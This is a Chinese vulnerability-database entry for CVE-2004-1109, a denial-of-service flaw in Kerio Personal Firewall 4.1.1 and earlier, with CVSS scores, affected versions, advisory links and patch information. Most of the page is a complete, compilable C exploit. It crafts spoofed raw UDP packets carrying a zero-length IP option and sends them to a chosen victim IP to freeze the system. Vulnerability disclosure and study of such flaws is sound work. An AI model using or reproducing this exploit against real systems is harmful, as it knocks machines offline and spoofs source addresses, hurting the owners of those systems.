CVE-2004-1109
CVSS5.0
发布时间 :2005-01-10 00:00:00
修订时间 :2008-09-05 16:40:24
NMCOE    

[原文]The FWDRV.SYS driver in Kerio Personal Firewall 4.1.1 and earlier allows remote attackers to cause a denial of service (CPU consumption and system freeze from infinite loop) via a (1) TCP, (2) UDP, or (3) ICMP packet with a zero length IP Option field.


[CNNVD]Kerio PersonalFirewall FWDRV.SYS 拒绝服务漏洞(CNNVD-200501-222)

        Kerio Personal Firewall是一款个人桌面系统防火墙。
         Kerio Personal Firewall 4.1.1及之前版本中的FWDRV.SYS驱动存在拒绝服务漏洞。
        远程攻击者可通过IP Option长度为0的TCP、UDP或ICMP包,使系统CPU耗尽或由于死循环导致系统冻结,从而产生拒绝服务。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:kerio:personal_firewall:4.0.16
cpe:/a:kerio:personal_firewall:4.0.9
cpe:/a:kerio:personal_firewall:4.0.10
cpe:/a:kerio:personal_firewall:4.1
cpe:/a:kerio:personal_firewall:4.1.1
cpe:/a:kerio:personal_firewall:4.0.8
cpe:/a:kerio:personal_firewall:4.0.7
cpe:/a:kerio:personal_firewall:4.0.6

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1109
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1109
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200501-222
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/11639
(VENDOR_ADVISORY)  BID  11639
http://xforce.iss.net/xforce/xfdb/17992
(VENDOR_ADVISORY)  XF  kerio-pf-packet-dos(17992)
http://www.kerio.com/security_advisory.html
(VENDOR_ADVISORY)  CONFIRM  http://www.kerio.com/security_advisory.html
http://www.eeye.com/html/research/advisories/AD20041109.html
(UNKNOWN)  EEYE  AD20041109

- 漏洞信息

Kerio PersonalFirewall FWDRV.SYS 拒绝服务漏洞
中危 未知
2005-01-10 00:00:00 2005-10-20 00:00:00
远程  
        Kerio Personal Firewall是一款个人桌面系统防火墙。
         Kerio Personal Firewall 4.1.1及之前版本中的FWDRV.SYS驱动存在拒绝服务漏洞。
        远程攻击者可通过IP Option长度为0的TCP、UDP或ICMP包,使系统CPU耗尽或由于死循环导致系统冻结,从而产生拒绝服务。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://www.kerio.com/

- 漏洞信息 (626)

Kerio Personal Firewall <= 4.1.1 Multiple IP Options DoS Exploit (EDBID:626)
windows dos
2004-11-12 Verified
0 houseofdabus
N/A [点击下载]
/* HOD-kerio-firewall-DoS-expl.c: 2004-11-10
*
* Copyright (c) 2004 houseofdabus
*
* Kerio Personal Firewall Multiple IP Options Denial of Service PoC
*
* Coded by
*
*
*                 .::[ houseofdabus ]::.
*
*
*
* Bug discoveried by eEye:
* http://www.eeye.com/html/research/advisories/AD20041109.html
*
* ---------------------------------------------------------------------
* Tested on:
*    - Kerio Personal Firewall 4.1.1
*
* Systems Affected:
*    - Kerio Personal Firewall 4.1.1 and prior
*
* ---------------------------------------------------------------------
* Description:
*   The vulnerability allows a remote attacker to reliably render
*   a system inoperative with one single packet. Physical access is
*   required in order to bring an affected system out of this
*   "frozen" state. This specific flaw exists within the component
*   that performs low level processing of TCP, UDP, and ICMP packets.
*
* ---------------------------------------------------------------------
* Compile:
* Win32/VC++  : cl -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c
* Win32/cygwin: gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -lws2_32.lib
* Linux       : gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -Wall
*
* ---------------------------------------------------------------------
* Command Line Parameters/Arguments:
*
*   HOD-kerio-firewall-DoS-expl <-fi:str> <-ti:str> [-n:int]
*
*           -fi:IP    From (sender) IP address
*           -ti:IP    To (target) IP address
*           -n:int    Number of packets
*
* ---------------------------------------------------------------------
*
*   This is provided as proof-of-concept code only for educational
*   purposes and testing by authorized individuals with permission to
*   do so.
*
*/

/* #define _WIN32 */

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h> /* IP_HDRINCL */

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#endif

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_MESSAGE        4068
#define MAX_PACKET         4096

#define DEFAULT_PORT       53
#define DEFAULT_IP         "192.168.0.1"
#define DEFAULT_COUNT      1

#ifndef _WIN32
#       define FAR
#endif

/* Define the IP header */
typedef struct ip_hdr {
   unsigned char  ip_verlen;        /* IP version & length */
   unsigned char  ip_tos;           /* IP type of service */
   unsigned short ip_totallength;   /* Total length */
   unsigned short ip_id;            /* Unique identifier */
   unsigned short ip_offset;        /* Fragment offset field */
   unsigned char  ip_ttl;           /* Time to live */
   unsigned char  ip_protocol;      /* Protocol */
   unsigned short ip_checksum;      /* IP checksum */
   unsigned int   ip_srcaddr;       /* Source address */
   unsigned int   ip_destaddr;      /* Destination address */
} IP_HDR, *PIP_HDR, FAR* LPIP_HDR;

/* Define the UDP header */
typedef struct udp_hdr {
   unsigned short src_portno;       /* Source port number */
   unsigned short dst_portno;       /* Destination port number */
   unsigned short udp_length;       /* UDP packet length */
   unsigned short udp_checksum;     /* UDP checksum (optional) */
} UDP_HDR, *PUDP_HDR;

char udpmsg[] =
"\x4b\x65\x72\x69\x6f\x20\x50\x65\x72\x73\x6f\x6e\x61\x6c\x20\x46"
"\x69\x72\x65\x77\x61\x6c\x6c\x20\x44\x6f\x53\x20\x50\x6f\x43\x20"
"\x28\x34\x2e\x31\x2e\x31\x20\x61\x6e\x64\x20\x70\x72\x69\x6f\x72"
"\x29\x2e\x20\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29"
"\x20\x32\x30\x30\x34\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62"
"\x75\x73\x2e";

/* globals */
unsigned long  dwToIP,               /* IP to send to */
              dwFromIP;             /* IP to send from (spoof) */
unsigned short iToPort,              /* Port to send to */
              iFromPort;            /* Port to send from (spoof) */
unsigned long  dwCount;              /* Number of times to send */
char           strMessage[MAX_MESSAGE]; /* Message to send */

void
usage(char *progname) {
       printf("Usage:\n\n");
   printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-n:int]\n\n", progname);
   printf("       -fi:IP    From (sender) IP address\n");
   printf("       -ti:IP    To (target) IP address\n");
   printf("       -n:int    Number of packets\n");
   exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
   int                i;

   iToPort = 53;
   iFromPort = DEFAULT_PORT;
   dwToIP = inet_addr(DEFAULT_IP);
   dwFromIP = inet_addr(DEFAULT_IP);
   dwCount = DEFAULT_COUNT;
       memcpy(strMessage, udpmsg, sizeof(udpmsg)-1);

   for(i = 1; i < argc; i++) {
       if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
           switch (tolower(argv[i][1])) {
               case 'f':
                   switch (tolower(argv[i][2])) {
                       case 'i':
                           if (strlen(argv[i]) > 4)
                               dwFromIP = inet_addr(&argv[i][4]);
                           break;
                       default:
                           usage(argv[0]);
                           break;
                   }
                   break;
               case 't':
                   switch (tolower(argv[i][2])) {
                       case 'i':
                           if (strlen(argv[i]) > 4)
                               dwToIP = inet_addr(&argv[i][4]);
                           break;
                       default:
                           usage(argv[0]);
                           break;
                   }
                   break;
               case 'n':
                   if (strlen(argv[i]) > 3)
                       dwCount = atol(&argv[i][3]);
                   break;
               default:
                   usage(argv[0]);
                   break;
           }
       }
   }
   return;
}

/*    This function calculates the 16-bit one's complement sum */
/*    for the supplied buffer */
unsigned short
checksum(unsigned short *buffer, int size)
{
   unsigned long cksum=0;

   while (size > 1) {
       cksum += *buffer++;
       size  -= sizeof(unsigned short);
   }
   if (size) {
       cksum += *(unsigned char *)buffer;
   }
   cksum = (cksum >> 16) + (cksum & 0xffff);
   cksum += (cksum >>16);

   return (unsigned short)(~cksum);
}

int
main(int argc, char **argv)
{
#ifdef _WIN32
   WSADATA            wsd;
#endif
   int                s;
#ifdef _WIN32
       BOOL                bOpt;
#else
       int                bOpt;
#endif
   struct sockaddr_in remote;
   IP_HDR             ipHdr;
   UDP_HDR            udpHdr;
   int                ret;
   unsigned long      i;
   unsigned short     iTotalSize,
                      iUdpSize,
                      iUdpChecksumSize,
                      iIPVersion,
                      iIPSize,
                      cksum = 0;
   char               buf[MAX_PACKET],
                      *ptr = NULL;
#ifdef _WIN32
   IN_ADDR            addr;
#else
       struct sockaddr_in addr;
#endif

       printf("\nKerio Personal Firewall Multiple IP Options Denial of Service PoC\n\n");
       printf("\tCopyright (c) 2004 .::[ houseofdabus ]::.\n\n");

       if (argc < 3) usage(argv[0]);

   /* Parse command line arguments and print them out */
   ValidateArgs(argc, argv);
#ifdef _WIN32
   addr.S_un.S_addr = dwFromIP;
   printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
   addr.S_un.S_addr = dwToIP;
   printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
   printf("[*] Count:   %d\n", dwCount);
#else
   addr.sin_addr.s_addr = dwFromIP;
   printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
   addr.sin_addr.s_addr = dwToIP;
   printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
   printf("[*] Count:   %d\n", dwCount);
#endif

#ifdef _WIN32
   if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
       printf("[-] WSAStartup() failed: %d\n", GetLastError());
       return -1;
   }
#endif
   /*  Creating a raw socket */
   s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef _WIN32
   if (s == INVALID_SOCKET) {
       printf("[-] WSASocket() failed: %d\n", WSAGetLastError());
       return -1;
   }
#endif

   /* Enable the IP header include option */
#ifdef _WIN32
   bOpt = TRUE;
#else
   bOpt = 1;
#endif
   ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
#ifdef _WIN32
   if (ret == SOCKET_ERROR) {
       printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
       return -1;
   }
#endif
   /* Initalize the IP header */
   iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(udpmsg)-1 + 4;

   iIPVersion = 4;
   iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

   iIPSize += 1; /* IP options */

   ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
   ipHdr.ip_tos = 0;                         /* IP type of service */
   ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */
   ipHdr.ip_id = 0;                 /* Unique identifier: set to 0 */
   ipHdr.ip_offset = 0;             /* Fragment offset field */
   ipHdr.ip_ttl = 128;              /* Time to live */
   ipHdr.ip_protocol = 0x11;        /* Protocol(UDP) */
   ipHdr.ip_checksum = 0 ;          /* IP checksum */
   ipHdr.ip_srcaddr = dwFromIP;     /* Source address */
   ipHdr.ip_destaddr = dwToIP;      /* Destination address */

   /* Initalize the UDP header */
   iUdpSize = sizeof(udpHdr) + sizeof(udpmsg)-1;

   udpHdr.src_portno = htons(iFromPort);
   udpHdr.dst_portno = htons(iToPort);
   udpHdr.udp_length = htons(iUdpSize);
   udpHdr.udp_checksum = 0 ;

       iUdpChecksumSize = 0;
   ptr = buf;
       memset(buf, 0, MAX_PACKET);

   memcpy(ptr, &ipHdr.ip_srcaddr,  sizeof(ipHdr.ip_srcaddr));
   ptr += sizeof(ipHdr.ip_srcaddr);
   iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);

   memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr));
   ptr += sizeof(ipHdr.ip_destaddr);
   iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);

   ptr++;
   iUdpChecksumSize += 1;

   memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol));
   ptr += sizeof(ipHdr.ip_protocol);
   iUdpChecksumSize += sizeof(ipHdr.ip_protocol);

   memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length));
   ptr += sizeof(udpHdr.udp_length);
   iUdpChecksumSize += sizeof(udpHdr.udp_length);

   memcpy(ptr, &udpHdr, sizeof(udpHdr));
   ptr += sizeof(udpHdr);
   iUdpChecksumSize += sizeof(udpHdr);

       for(i = 0; i < sizeof(udpmsg)-1; i++, ptr++)
       *ptr = strMessage[i];
   iUdpChecksumSize += sizeof(udpmsg)-1;

   cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
   udpHdr.udp_checksum = cksum;

   memset(buf, 0, MAX_PACKET);
   ptr = buf;

   memcpy(ptr, &ipHdr, sizeof(ipHdr));   ptr += sizeof(ipHdr);

   /* IP option (length = 0x00) */
   memcpy(ptr, "\x88\x00\x12\x34", 4);   ptr += 4;

   memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
   memcpy(ptr, strMessage, sizeof(udpmsg)-1);

   remote.sin_family = AF_INET;
   remote.sin_port = htons(iToPort);
   remote.sin_addr.s_addr = dwToIP;

   for(i = 0; i < dwCount; i++) {
#ifdef _WIN32
       ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
           sizeof(remote));

       if (ret == SOCKET_ERROR) {
           printf("[-] sendto() failed: %d\n", WSAGetLastError());
           break;
       } else
#else
       ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
           sizeof(remote));
#endif
           printf("[+] sent %d bytes\n", ret);
   }

#ifdef _WIN32
   closesocket(s);
   WSACleanup();
#endif

   return 0;
}

// milw0rm.com [2004-11-12]
		

- 漏洞信息

11582
Kerio Personal Firewall Multiple IP Option DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Availability Upgrade
Exploit Public Vendor Verified, Coordinated Disclosure

- 漏洞描述

- 时间线

2004-11-04 Unknow
2004-11-09 2004-11-04

- 解决方案

Upgrade to version 4.1.2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站